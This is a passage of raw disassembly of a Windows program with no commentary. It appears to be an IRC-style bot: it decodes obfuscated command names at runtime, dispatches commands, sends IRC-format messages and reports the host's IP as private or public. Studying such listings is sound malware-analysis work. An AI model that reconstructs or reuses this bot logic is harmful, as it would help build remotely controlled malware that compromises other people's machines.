push offset asc_444C58 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
push offset asc_444C64 ; ":"
lea edx, [esp+3Ch+arg_3AC]
push 1
push edx
lea ecx, [esp+44h+var_8]
mov byte ptr [esp+44h+arg_246C], 35h
call sub_4016B8
sub esp, 18h
mov byte ptr [esp+50h+arg_246C], 36h
mov ecx, esp
mov [esp+50h+var_C], esp
push offset asc_444C58 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
mov ecx, offset word_44AC5E
mov byte ptr [esp+50h+arg_246C], 37h
call sub_40212B
lea ecx, [esp+20h+arg_3AC]
mov byte ptr [esp+20h+arg_246C], 34h
call sub_401226
lea ecx, [esp+20h+arg_3DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp short loc_4113F7
; ---------------------------------------------------------------------------
loc_4113F0: ; CODE XREF: sub_410030+391j
mov ecx, ebp
call sub_401D20
loc_4113F7: ; CODE XREF: sub_410030+1D3j
; sub_410030+253j ...
cmp [ebp+17h], bl
jnz loc_410072
loc_411400: ; CODE XREF: sub_410030+3Cj
; sub_410030+4Fj
lea ecx, [esp+20h+var_8]
mov [esp+20h+arg_246C], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+20h+arg_2464]
pop edi
pop esi
pop ebp
xor eax, eax
mov large fs:0, ecx
pop ebx
add esp, 2484h
retn
sub_410030 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 500h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411930 proc near ; CODE XREF: sub_4010BEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411930
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_402072
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F038
mov dword ptr [esi+11h], 0
mov byte ptr [esi+0ABh], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411930 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4119B0: ; CODE XREF: ___:loc_40115Ej
; ___:004016F4j
push esi
mov esi, ecx
call sub_40101E
test byte ptr [esp+8], 1
jz short loc_4119C8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4119C8: ; CODE XREF: ___:004119BDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4119E0 proc near ; CODE XREF: sub_40101Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4119E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F038
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401979
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4119E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411A60 proc near ; CODE XREF: sub_402072j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411A60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
lea ecx, [esi+7Eh]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411A60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411B20 proc near ; CODE XREF: sub_401979j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411B20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+7Eh]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411B20 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411BE0 proc near ; CODE XREF: sub_4019E2j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401979
test [esp+4+arg_0], 1
jz short loc_411BF8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_411BF8: ; CODE XREF: sub_411BE0+Dj
mov eax, esi
pop esi
retn 4
sub_411BE0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_411C10 proc near ; CODE XREF: sub_401A19j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411C10
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jz short loc_411C36
lea edi, [esi+11h]
jmp short loc_411C38
; ---------------------------------------------------------------------------
loc_411C36: ; CODE XREF: sub_411C10+1Fj
xor edi, edi
loc_411C38: ; CODE XREF: sub_411C10+24j
push 0
push 17h
push 1
push 12h
push 4Fh
lea eax, [esp+5Ch+var_3C]
push 9
push eax
call sub_4019C4
add esp, 1Ch
push edi
mov ecx, eax
mov [esp+4Ch+var_4], 0
call sub_4017EE
lea ecx, [esi+250h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
sub_411C10 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411C8C
lea ebx, [esi+11h]
jmp short loc_411C8E
; ---------------------------------------------------------------------------
loc_411C8C: ; CODE XREF: ___:00411C85j
xor ebx, ebx
loc_411C8E: ; CODE XREF: ___:00411C8Aj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 5
push 12h
push 4Fh
lea edx, [esp+38h]
push 9
push edx
call sub_4019C4
add esp, 34h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 1
call sub_4017EE
push eax
lea eax, [esi+27Eh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411CEB
lea ebx, [esi+11h]
jmp short loc_411CED
; ---------------------------------------------------------------------------
loc_411CEB: ; CODE XREF: ___:00411CE4j
xor ebx, ebx
loc_411CED: ; CODE XREF: ___:00411CE9j
push 0
push 14h
push 12h
push 1
push 10h
push 4Fh
lea ecx, [esp+24h]
push 9
push ecx
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 2
call sub_4017EE
lea edx, [esi+1C6h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D40
lea ebx, [esi+11h]
jmp short loc_411D42
; ---------------------------------------------------------------------------
loc_411D40: ; CODE XREF: ___:00411D39j
xor ebx, ebx
loc_411D42: ; CODE XREF: ___:00411D3Ej
push 0
push 5
push 4
push 0Fh
push 0Dh
push 4Fh
lea eax, [esp+24h]
push 9
push eax
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 3
call sub_4017EE
lea ecx, [esi+16Ah]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D95
lea ebx, [esi+11h]
jmp short loc_411D97
; ---------------------------------------------------------------------------
loc_411D95: ; CODE XREF: ___:00411D8Ej
xor ebx, ebx
loc_411D97: ; CODE XREF: ___:00411D93j
push 0
push 7
push 13h
push 0Dh
push 4Fh
lea edx, [esp+20h]
push 9
push edx
call sub_4019C4
add esp, 1Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 4
call sub_4017EE
push eax
lea eax, [esi+1F4h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411DE8
lea ebx, [esi+11h]
jmp short loc_411DEA
; ---------------------------------------------------------------------------
loc_411DE8: ; CODE XREF: ___:00411DE1j
xor ebx, ebx
loc_411DEA: ; CODE XREF: ___:00411DE6j
push 0
push 5
push 3
push 9
push 14h
push 0Fh
push 0Eh
push 4Fh
lea ecx, [esp+2Ch]
push 9
push ecx
call sub_4019C4
add esp, 28h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 5
call sub_4017EE
lea edx, [esi+0B2h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E41
lea ebx, [esi+11h]
jmp short loc_411E43
; ---------------------------------------------------------------------------
loc_411E41: ; CODE XREF: ___:00411E3Aj
xor ebx, ebx
loc_411E43: ; CODE XREF: ___:00411E3Fj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 13h
push 9
push 4
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019C4
add esp, 38h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 6
call sub_4017EE
lea ecx, [esi+56h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E9F
lea ebx, [esi+11h]
jmp short loc_411EA1
; ---------------------------------------------------------------------------
loc_411E9F: ; CODE XREF: ___:00411E98j
xor ebx, ebx
loc_411EA1: ; CODE XREF: ___:00411E9Dj
push 0
push 14h
push 13h
push 0Fh
push 8
push 14h
push 5
push 7
push 4Fh
lea edx, [esp+30h]
push 9
push edx
call sub_4019C4
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 7
call sub_4017EE
push eax
lea eax, [esi+10Eh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411EFA
lea ebx, [esi+11h]
jmp short loc_411EFC
; ---------------------------------------------------------------------------
loc_411EFA: ; CODE XREF: ___:00411EF3j
xor ebx, ebx
loc_411EFC: ; CODE XREF: ___:00411EF8j
push 0
push 0Fh
push 6
push 0Eh
push 9
push 14h
push 5
push 0Eh
push 4Fh
lea ecx, [esp+30h]
push 9
push ecx
call sub_4019C4
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 8
call sub_4017EE
lea edx, [esi+198h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411F55
lea ebx, [esi+11h]
jmp short loc_411F57
; ---------------------------------------------------------------------------
loc_411F55: ; CODE XREF: ___:00411F4Ej
xor ebx, ebx
loc_411F57: ; CODE XREF: ___:00411F53j
push 0
push 0Eh
push 9
push 0Fh
push 0Ah
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 9
call sub_4017EE
add esi, 13Ch
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+44h], edi
call sub_401226
mov ecx, [esp+3Ch]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4120B0 proc near ; CODE XREF: sub_401ACDj
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4120B0
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push ebp
push esi
mov esi, [esp+90h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+45h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_4125D9
lea ecx, [edi+26Dh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_4125D9
lea ecx, [edi+0A1h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4121B2
push offset asc_444600 ; " "
lea eax, [esp+98h+var_6C]
push 2
push eax
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 1
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 1
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
mov edx, dword_4490C0
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSSS_1 ; "%s %s :%s\r\n"
push edi
call sub_401E24
add esp, 14h
lea ecx, [esp+94h+var_84]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4121B2: ; CODE XREF: sub_4120B0+70j
lea ecx, [edi+187h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_412229
add edi, 0FFFFFFEFh
lea eax, [esp+94h+var_6C]
push eax
mov ecx, edi
call sub_401D4D
mov ecx, eax
mov [esp+94h+var_4], 2
call sub_4017EE
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push edi
call sub_401857
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_412229: ; CODE XREF: sub_4120B0+117j
lea ecx, [edi+0FDh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4122E4
push offset asc_444600 ; " "
lea eax, [esp+98h+var_6C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+17h]
mov [esp+98h+var_4], 3
call sub_4018B1
or ebp, 0FFFFFFFFh
lea ecx, [esp+94h+var_6C]
mov ebx, eax
mov [esp+94h+var_4], ebp
call sub_401226
test ebx, ebx
jz loc_412602
lea ecx, [esp+94h+var_6C]
add edi, 0FFFFFFEFh
push ecx
mov ecx, edi
call sub_401D4D
mov ecx, eax
mov [esp+94h+var_4], 4
call sub_4017EE
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push edi
call sub_401857
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], ebp
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4122E4: ; CODE XREF: sub_4120B0+18Ej
lea ecx, [edi+12Bh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41238D
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea edx, [esp+98h+var_6C]
mov ebx, 5
push 1
push edx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 6
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
mov eax, dword_4490C4
push eax
add edi, 0FFFFFFEFh
push offset aSSS_0 ; "%s %s %s\r\n"
push edi
call sub_401E24
add esp, 14h
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_41238D: ; CODE XREF: sub_4120B0+249j
lea ecx, [edi+1B5h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_4123FB
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_6C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+94h+var_4], 7
call sub_4017EE
mov edx, dword_4490F0
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSS_0 ; "%s %s\r\n"
push edi
call sub_401E24
add esp, 10h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4123FB: ; CODE XREF: sub_4120B0+2F2j
lea ecx, [edi+23Fh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41245D
lea eax, [esp+94h+var_6C]
push 9
push eax
mov ecx, esi
call sub_401E47
mov ecx, eax
mov [esp+94h+var_4], 8
call sub_4017EE
push eax
add edi, 0FFFFFFEFh
push offset aS_3 ; "%s\r\n"
push edi
call sub_401E24
add esp, 0Ch
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_41245D: ; CODE XREF: sub_4120B0+360j
lea ecx, [edi+1E3h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4124FD
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, eax
push 1
push offset asc_444600 ; " "
lea edx, [esp+9Ch+var_6C]
push 2
push edx
mov ecx, esi
mov [esp+0A4h+var_4], 9
call sub_4011EA
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Ah
call sub_4014DD
push eax
mov ecx, esi
call sub_4014DD
xor ebx, ebx
push eax
push ebx
push ebx
lea ecx, [edi-11h]
call sub_401118
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 9
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4124FD: ; CODE XREF: sub_4120B0+3C2j
lea ecx, [edi+159h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412602
push offset asc_444600 ; " "
lea eax, [esp+98h+var_24]
push 3
push eax
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_3C]
push 2
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], 0Bh
call sub_4016B8
mov ebx, eax
push offset asc_444600 ; " "
lea edx, [esp+98h+var_54]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0A0h+var_4], 0Ch
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Dh
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
mov eax, dword_4490F4
push eax
add edi, 0FFFFFFEFh
push offset aSSSS ; "%s %s %s %s\r\n"
push edi
call sub_401E24
add esp, 18h
lea ecx, [esp+94h+var_54]
mov byte ptr [esp+94h+var_4], 0Ch
call sub_401226
lea ecx, [esp+94h+var_3C]
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401226
lea ecx, [esp+94h+var_24]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_412602
; ---------------------------------------------------------------------------
loc_4125D9: ; CODE XREF: sub_4120B0+3Aj
; sub_4120B0+55j
xor ebx, ebx
mov [edi+0Fh], ebx
mov [edi+0Bh], ebx
mov [edi+5], bl
mov [edi+4], bl
mov ecx, [edi+7]
push ecx
nop
call near ptr 71AB9639h
mov ecx, offset word_44AC5E
mov dword ptr [edi+7], 0FFFFFFFFh
call sub_401541
loc_412602: ; CODE XREF: sub_4120B0+FDj
; sub_4120B0+174j ...
mov ecx, [esp+94h+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 84h
retn 4
sub_4120B0 endp
; ---------------------------------------------------------------------------
db 90h
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412780 proc near ; CODE XREF: sub_401D4Dj
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_412780
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 40h
push esi
mov esi, ecx
lea ecx, [esp+50h+var_24]
mov [esp+50h+var_48], 0
call sub_40142E
xor eax, eax
lea ecx, [esp+50h+var_4C]
mov [esp+50h+var_44], eax
lea edx, [esp+50h+var_44]
mov [esp+50h+var_40], eax
push ecx
mov [esp+54h+var_3C], eax
push edx
mov [esp+58h+var_38], eax
mov eax, [esi+18h]
push eax
mov [esp+5Ch+var_4], 1
mov [esp+5Ch+var_4C], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+50h+var_40+3]
mov edx, [esp+50h+var_40+2]
mov eax, [esp+50h+var_40+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+54h+var_40]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+60h+var_34]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call sub_5F76F7
add esp, 18h
lea ecx, [esp+50h+var_24]
push offset byte_448F30
call sub_4015E1
push offset aLan ; "lan: "
lea ecx, [esp+54h+var_24]
call sub_401AAF
lea eax, [esp+50h+var_34]
lea ecx, [esp+50h+var_24]
push eax
call sub_401AAF
push offset a_ ; ". "
lea ecx, [esp+54h+var_24]
call sub_401AAF
add esi, 28h
lea ecx, [esp+50h+var_24]
push esi
call sub_4016C7
push offset a_ ; ". "
lea ecx, [esp+54h+var_24]
call sub_401AAF
lea ecx, [esp+50h+var_34]
push ecx
call sub_401483
add esp, 4
test al, al
jz short loc_41288B
push offset aPrivate ; "[PRIVATE]"
jmp short loc_412890
; ---------------------------------------------------------------------------
loc_41288B: ; CODE XREF: sub_412780+102j
push offset aPublic ; "[PUBLIC]"
loc_412890: ; CODE XREF: sub_412780+109j
lea ecx, [esp+54h+var_24]
call sub_401AAF
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_24]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+50h+var_48], 1
lea ecx, [esp+50h+var_24]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
mov ecx, [esp+50h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 4Ch
retn 4
sub_412780 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412940 proc near ; CODE XREF: sub_40158Cj
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+18h]
push 0
not ecx
dec ecx
push ecx
push ebp
push eax
call near ptr 71AB428Ah
nop
mov edx, eax
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp edx, ecx
jnb short loc_41299E
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_44AC5E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401541
pop edi
pop esi
xor al, al
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_41299E: ; CODE XREF: sub_412940+33j
pop edi
pop esi
mov al, 1
pop ebp
retn 4
sub_412940 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4129D0 proc near ; CODE XREF: sub_401E24j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_437B30
mov ecx, [esp+arg_2004]
lea eax, [esp+arg_2008]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_40158C
add esp, 2000h
retn
sub_4129D0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412A40 proc near ; CODE XREF: sub_401118j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_412A40
push eax
mov al, [esp+0Ch+arg_0]
mov large fs:0, esp
sub esp, 30h
test al, al
push esi
mov esi, ecx
jz short loc_412A77
xor al, al
pop esi
mov ecx, [esp+3Ch+var_C]
mov large fs:0, ecx
add esp, 3Ch
retn 10h
; ---------------------------------------------------------------------------
loc_412A77: ; CODE XREF: sub_412A40+21j
lea ecx, [esp+40h+var_3C]
call sub_40142E
mov al, [esp+40h+arg_4]
mov [esp+40h+var_4], 0
test al, al
jz short loc_412A98
mov eax, dword_4490C0
push eax
jmp short loc_412A9F
; ---------------------------------------------------------------------------
loc_412A98: ; CODE XREF: sub_412A40+4Ej
mov ecx, dword_4490C8
push ecx
loc_412A9F: ; CODE XREF: sub_412A40+56j
lea ecx, [esp+44h+var_3C]
call sub_4015E1
push ebx
lea ecx, [esp+44h+var_24]
call sub_40142E
mov edx, [esp+44h+arg_8]
mov eax, [esp+44h+arg_C]
push edx
push eax
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+50h+var_24]
push offset aSSS_1 ; "%s %s :%s\r\n"
push ecx
call sub_40102D
add esp, 14h
lea ecx, [esp+44h+var_24]
call sub_4014DD
push eax
mov ecx, esi
call sub_40158C
lea ecx, [esp+44h+var_24]
mov bl, al
mov byte ptr [esp+44h+var_4], 0
call sub_401226
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+44h+var_C]
mov al, bl
pop ebx
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_412A40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B70 proc near ; CODE XREF: sub_401857j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = dword ptr 200Ch
arg_200C = dword ptr 2010h
arg_2010 = dword ptr 2014h
arg_2014 = byte ptr 2018h
mov eax, 2000h
call sub_437B30
mov ecx, [esp+arg_2010]
lea eax, [esp+arg_2014]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov eax, [esp+10h+arg_200C]
mov edx, [esp+10h+arg_2008]
add esp, 10h
lea ecx, [esp+0]
push eax
mov eax, [esp+4+arg_2004]
push ecx
mov ecx, [esp+8+arg_2000]
push edx
push eax
call sub_401118
add esp, 2000h
retn
sub_412B70 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
